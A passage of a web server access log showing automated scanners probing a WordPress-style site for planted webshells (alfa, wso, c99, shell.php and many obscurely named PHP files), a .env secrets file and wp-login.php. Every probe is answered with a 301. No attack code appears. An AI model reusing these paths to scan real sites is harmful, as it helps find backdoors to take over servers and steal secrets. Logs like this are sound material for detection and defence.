795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:54 +0300] "GET //cwclass.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:07:58 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:01 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:04 +0300] "GET /503.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:07 +0300] "GET /wp-ann.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:10 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:10 +0300] "GET /dev1s.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:11:26 +0300] "GET /wp-site.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:11:57 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:08 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:17 +0300] "GET /js/sxx.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:20 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:24 +0300] "GET /yifsx.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:45 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:49 +0300] "GET /ran.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:10 +0300] "GET /mode.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:14 +0300] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:17 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:20 +0300] "GET /star.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:23 +0300] "GET /yas.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:26 +0300] "GET /timocra.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:28 +0300] "GET /lock1.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:31 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:34 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:37 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:40 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:44 +0300] "GET /w3llscc.php7 HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:47 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:49 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:05:52 +0300] "GET /wp-shirei.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:12 +0300] "GET /htio.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:15 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:18 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:22 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:25 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:28 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:31 +0300] "GET /includes/phpinfo.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:15 +0300] "GET /yawa.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:13 +0300] "GET /docs.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:12:17 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:06 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:13:10 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:04 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 195.62.50.3 - - [07/Feb/2026:20:00:34 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.27.221.169 - - [07/Feb/2026:20:06:44 +0300] "GET /wp-tot.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:47 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:49 +0300] "GET /33.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:18 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:21 +0300] "GET /yaiid.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:27 +0300] "GET /siteheads.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:32 +0300] "GET /zzxy.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:10:35 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:11:37 +0300] "GET /zr.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:36 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:06:38 +0300] "GET /mk.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:54 +0300] "GET /wbbw.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:08:57 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:09:01 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:11:43 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:13 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:16 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:20 +0300] "GET /styles.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:23 +0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:27 +0300] "GET /lock2.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:30 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:34 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:14:39 +0300] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [07/Feb/2026:20:15:14 +0300] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 66.249.68.2 - - [07/Feb/2026:21:08:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.2 - - [07/Feb/2026:21:06:25 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.2 - - [07/Feb/2026:21:06:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.2 - - [07/Feb/2026:21:08:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 103.161.226.167 - - [07/Feb/2026:21:31:44 +0300] "GET http://eliteewallet.com/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36" 185.254.75.32 - - [07/Feb/2026:21:38:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 216.244.66.194 - - [07/Feb/2026:22:13:38 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 74.248.113.199 - - [07/Feb/2026:23:03:22 +0300] "GET //test.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:27 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:27 +0300] "GET /n3.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:30 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:31 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:34 +0300] "GET //wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:11 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:13 +0300] "GET //wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:20 +0300] "GET //wp-content/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:20 +0300] "GET /mans.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:22 +0300] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:19 +0300] "GET /wp-miiss.php.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:21 +0300] "GET /ho/wpup.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:23 +0300] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:28 +0300] "GET /filesss.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:29 +0300] "GET /hey.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:32 +0300] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:34 +0300] "GET //1337.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:17 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:17 +0300] "GET /ps.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:46 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:56 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:58 +0300] "GET //.cache/x.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:16 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:20 +0300] "GET /2026.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:52 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:56 +0300] "GET /Wp-good.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:58 +0300] "GET /tphp.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:01 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:04 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:59 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:32 +0300] "GET //wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:30 +0300] "GET /WordPress/x/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:32 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:35 +0300] "GET //geck.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:54 +0300] "GET //admin/function.php HTTP/1.1" 301 795 "-" "-" 159.203.7.65 - - [07/Feb/2026:23:06:06 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 74.248.113.199 - - [07/Feb/2026:23:07:14 +0300] "GET /gib.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:08 +0300] "GET //content.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:35 +0300] "GET /.trash7309/dd/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:21 +0300] "GET //wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:24 +0300] "GET /asd67.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:27 +0300] "GET //sad/about.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:42 +0300] "GET /des.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:44 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:47 +0300] "GET //lufix.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:25 +0300] "GET //wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:28 +0300] "GET /luxe.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:31 +0300] "GET /update/wpupex.php/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:35 +0300] "GET /rezor.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:37 +0300] "GET //doc.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:07 +0300] "GET /~norapump/hah.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:10 +0300] "GET /sto.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:37 +0300] "GET //wp-content/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:38 +0300] "GET /wp/wp-includes//index.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:09 +0300] "GET /wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:12 +0300] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:15 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:50 +0300] "GET //wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:09 +0300] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:15 +0300] "GET //alfa.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:16 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:44 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:16 +0300] "GET /ftp.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:19 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:22 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:25 +0300] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:28 +0300] "GET /cool.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:30 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:32 +0300] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:35 +0300] "GET //elp.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:40 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:43 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:45 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:48 +0300] "GET //wp-content/plugins/achdxhv/languages/admin.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:09 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:09 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:12 +0300] "GET /wp4.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:15 +0300] "GET //403.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:08 +0300] "GET /raw.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:12 +0300] "GET //wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:15 +0300] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:16 +0300] "GET /ioxi-o2.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:19 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:20 +0300] "GET /dlu.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:23 +0300] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:29 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:31 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:34 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:10:36 +0300] "GET //404.php HTTP/1.1" 301 795 "-" "-" 68.221.72.62 - - [07/Feb/2026:22:42:55 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:36 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:38 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:43 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:45 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:47 +0300] "GET /Update/f35.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:05 +0300] "GET //skin/install/default/security.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:39 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:42 +0300] "GET //wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:44 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:07 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:39 +0300] "GET //buy.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:43 +0300] "GET /apsarasarts/okk.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:44 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:47 +0300] "GET /wp-is.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:50 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:51 +0300] "GET //about/function.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:55 +0300] "GET /bnn_.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:56 +0300] "GET //wp-content/json.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:59 +0300] "GET /hzz.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:02 +0300] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:23 +0300] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:08:53 +0300] "GET //user.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:24 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:26 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:29 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:01:31 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:54 +0300] "GET //wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:01 +0300] "GET //install.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:45 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:48 +0300] "GET //wso.php HTTP/1.1" 301 795 "-" "-" 159.203.7.65 - - [07/Feb/2026:23:06:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 158.94.211.12 - - [07/Feb/2026:23:06:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 74.248.113.199 - - [07/Feb/2026:23:10:03 +0300] "GET /dr.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:02:44 +0300] "GET //wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:41 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:45 +0300] "GET /.trash7309/f/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:48 +0300] "GET //wp.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:52 +0300] "GET //wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:03:54 +0300] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:02 +0300] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:49 +0300] "GET /.trash7309/fafa/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:52 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:53 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:54 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:57 +0300] "GET /museu/yhweq.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:00 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:07:02 +0300] "GET //w.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:01 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:01 +0300] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 91.215.85.12 - - [07/Feb/2026:22:37:41 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 74.248.113.199 - - [07/Feb/2026:23:04:18 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:18 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:21 +0300] "GET /png.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:24 +0300] "GET //wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:25 +0300] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:55 +0300] "GET /images/fk2e3/ HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:04:58 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:05:01 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:06:11 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:32 +0300] "GET /oivcl.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:35 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 74.248.113.199 - - [07/Feb/2026:23:09:39 +0300] "GET //wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:40:11 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:40:26 +0300] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:40:29 +0300] "GET /alfa1.php 